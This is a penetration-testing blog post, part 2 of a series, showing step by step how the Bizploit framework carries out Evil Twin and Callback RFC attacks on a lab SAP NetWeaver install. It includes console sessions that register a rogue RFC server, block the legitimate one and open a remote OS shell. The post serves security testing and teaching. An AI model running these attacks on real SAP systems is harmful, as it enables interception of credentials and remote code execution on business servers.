In this post I will be demonstrating how some of the RFC vulnerabilities previously described can be exploited by the freely available, python based ERP penetration testing platform – Bizploit.
Bizploit [1] is a free framework released by Onapsis, which currently includes numerous tools for SAP vulnerability assessment and exploitation. The framework allows a user to load vulnerability assessment and exploitation plugins against selected SAP targets, and includes proof of concept code for several attacks against vulnerable SAP systems.
Fig 1.0 – Bizploits ‘sapinfo’ assessment plugin running against a default install of SAP Netweaver 7.01
RFC attacks
The RFC attacks that will be demonstrated in this post are the Evil Twin and Callback attacks (more detailed explanations of these attacks can be found in the previous post at [2]). The first of these is a man-in-the-middle attack, where an attacker attempts to route all RFC traffic destined for a remotely hosted function to a malicious server, allowing the attacker to gain access to sensitive information or modify traffic en route.
Although the Callback attack is set up in a similar way, utilising a malicious RFC server in a similar man-in-the-middle attack scenario, it has a higher impact due to the abuse of a native SAP function allowing the attacker to execute code on the application server with the privileges of the user that made the initial RFC call. If an administrative user (such as SAP*) were to make the call, the attacker would then gain complete access over the application server and its underlying operating system as can be seen later on in this post.
Both attacks require a program ID (aka Tpname) of the function to be tested. The gateway monitor, if accessible, can provide this information. Later versions of the SAP kernel restrict access to the gateway monitor to local access only by default. An attacker would therefore need to use other methods of gaining access to the ID, either through brute force or sniffing it off the wire if the encrypted SNC option has not been configured at the transport layer.
Besides knowledge of the Tpname to perform this attack, the SAP gateway needs to allow arbitrary external RFC server registration (the default setting for the current version of SAP Netweaver 7.02). For this demo, I have set up a sample RFC server (with tpname test-lapv4-34.srfcserv) using the srfcserv executable shipped with the RFC SDK.
Running 'checkGwMon' against [192.168.153.129 (0)-SAPGATEWAY(1)] [VULN] Remote access to the Gateway Monitor is possible.
bizploit/exploit/gwmon> connect Connected to SAP Gateway Monitor.
bizploit/exploit/gwmon> getClients Tpname: test-lapv4-34.srfcserv Host: TEST-LAPV4-34 IP: 192.168.153.1 Date: Mon Feb 08 15:09:25 20
Tpname: sapgw00 Host: w2k3-test IP: 192.168.153.129 Date: Mon Feb 08 Fig 1.1 – Bizploit detects an accessible Gateway Monitor. ‘getClients’ is then run, showing a registered external RFC server with the Tpname of ‘test-lapv3-34.srfcserv’. Running 'registerExtServer' against [192.168.153.129(0)-SAPGATEWAY(1)] [VULN] External RFC server registration is possible
Fig 1.2 – Running the ‘registerExtServer’ plugin against the target shows that it has been left in its default configuration allowing arbitrary external RFC server registration.
Evil twin
The Evil Twin attack is possible due to the SAP gateway allowing multiple systems to register themselves with the gateway. This uses the same Tpname value and a default open setting allowing arbitrary registration of external RFC servers. Bizploit’s implementation of the exploit against this vulnerability works by registering an RFC server with the SAP gateway using a Tpname specified by the user while at the same time ‘sticking’ to the legitimate RFC server that is to be impersonated, blocking all further connections to it. All subsequent requests to this server will be disregarded, allowing the Evil Twin server to deal with the requests instead.
1. Once the pre-requisites have been met and the required information has been acquired, the first step is to register the fake RFC server with the SAPGateway using the same Tpname as the existing server (in this case test-lapv4-34.srfc.serv)
bizploit/exploit> exploit config eviltwin
bizploit/exploit/exploit/config:eviltwin> set tpname test-lapv4-34.srfcserv
bizploit/exploit/exploit/config:eviltwin> back
bizploit/exploit> exploit eviltwin 0
Plugin enabled for execution. Run 'start' to launch it.
bizploit/exploit> start
Running 'eviltwin' against [192.168.91.131(0)-SAPGATEWAY(1)]
bizploit/exploit/eviltwin> register
Registering EvilTwin 'test-lapv4-34.srfcserv'... (if no error after a few secs, registration was successful).
Fig 1.3 – Successful external EvilTwin registration
2. The second step is to use the ‘stick’ plugin from a second instance of Bizploit to make a connection to the legitimate RFC server, preventing it from accepting any further connections.
Running 'connectExtRFC' against [192.168.153.129(0)-SAPRFC_EXT(0)]
[VULN] External RFC Server reachable through RFC
Execution finished with result code: OK
Running 'stick' against [192.168.153.129(0)-SAPRFC_EXT(0)]
bizploit/exploit/stick> connect
Trying to connect...
Sticked to remote RFC Server.
Fig 1.4 – connectExtRFC returns OK, indicating that the legitimate RFC server is reachable with the Tpname configured. The ‘stick’ plugin is then launched to block all further connections to this server.
From here, all incoming RFC calls meant for the server we are intercepting will reach us in a man-in-the-middle style attack, possibly leaking credentials and other sensitive data to us. A stealthier, more advanced version of this attack can be made by turning it into a fully fledged man-in-the-middle attack by forwarding on incoming requests and responses between the client and legitimate RFC server, however this is not supported by Bizploit at the time of this writing.
Callback attack
While the previous attack is a man-in-the-middle attack, Callback results in compromise in the form of code execution on the application server with the privileges of the user that made the call. The attack uses SAP’s handy Callback function allowing an RFC server to execute code with the privileges of the calling user. The initial setup of this attack is similar to the previous one, requiring a fake RFC server to be registered, and a blocking connection made to the legitimate RFC server. The ‘callback’ plugin handles the creation of the fake EvilTwin server itself, however a separate instance of Bizploit does have to be started from where the ‘stick’ plugin needs to be launched.
1. The callback attack is launched after setting the Tpname to that of the legitimate RFC server in the plugin’s configuration settings. If all goes well an EvilTwin RFC server is created and registered at the SAP Gateway.
bizploit/exploit> exploit callback 0
Plugin enabled for execution. Run 'start' to launch it.
bizploit/exploit> exploit config callback
bizploit/exploit/exploit/config:callback> set tpname test-lapv4-34.srfcserv
bizploit/exploit/exploit/config:callback> back
bizploit/exploit> exploit callback 0
Plugin enabled for execution. Run 'start' to launch it.
bizploit/exploit> start
Running 'callback' against [192.168.91.131(0)-SAPGATEWAY(1)]
Remember to use another bizploit to stick to the original server!
Registering EvilTwin 'test-lapv4-34.srfcserv'... (if no error after a few secs, registration was successful).
Fig 1.5 – The callback plugin automatically launches an EvilTwin server, saving the tester from having to start a separate instance manually
2. The ‘stick’ plugin needs to be launched against the legitimate RFC server from a second instance of Bizploit, preventing it from responding to future RFC calls.
3. Once our EvilTwin server receives a call, the plugin utilises the Callback function and launches an RFC shell with the privileges of the calling user, in this case BCUSER. Once the shell is started, it is possible to execute SAP reports as the calling user or even to execute local OS commands.
Call received from: host=w2k3-test,type=R3, SID=NSP, sysnr=00, client=001,rel=701,dest=ZREG_SERVER,user=BCUSER
Creating new SHELL...
The plugin has created a new SHELL with ID: 0
Execution finished with result code: OK
bizploit> shells
bizploit/shells> show
Shell ID: 0 [RFCShell]
Target information (#0):
Host: 192.168.91.131
Connector: SAPRFC (#-1)
No information available.
bizploit/shells> start 0
Starting shell #0
RFCShell - OS Commanding through RFC Calls The remote target OS is: Windows NT.
bizploit/shells/0> run whoami
w2k3-test\sapservicensp
bizploit/shells/0> run ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.131
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.2
Fig 1.6 – Our EvilTwin server receives a call from BCUSER, resulting in the creation of an RFC shell allowing SAP reports and OS commands to be executed.
Context has tested both of these attacks on a default install of Netweaver 7.01. SAP has included several security enhancements, which when configured correctly defend against the attacks described in this and the previous post. I will go into more detail in Part 3 of this series on these mitigations and other options that should be considered to increase the state of security of your SA
References
[1] - Onapsis - Bizploit
[2] - SAP Exploitation - Part 1
Read the other blog posts on SAP Exploitation:
SAP Exploitation – Part 1
SAP Exploitation - Part 3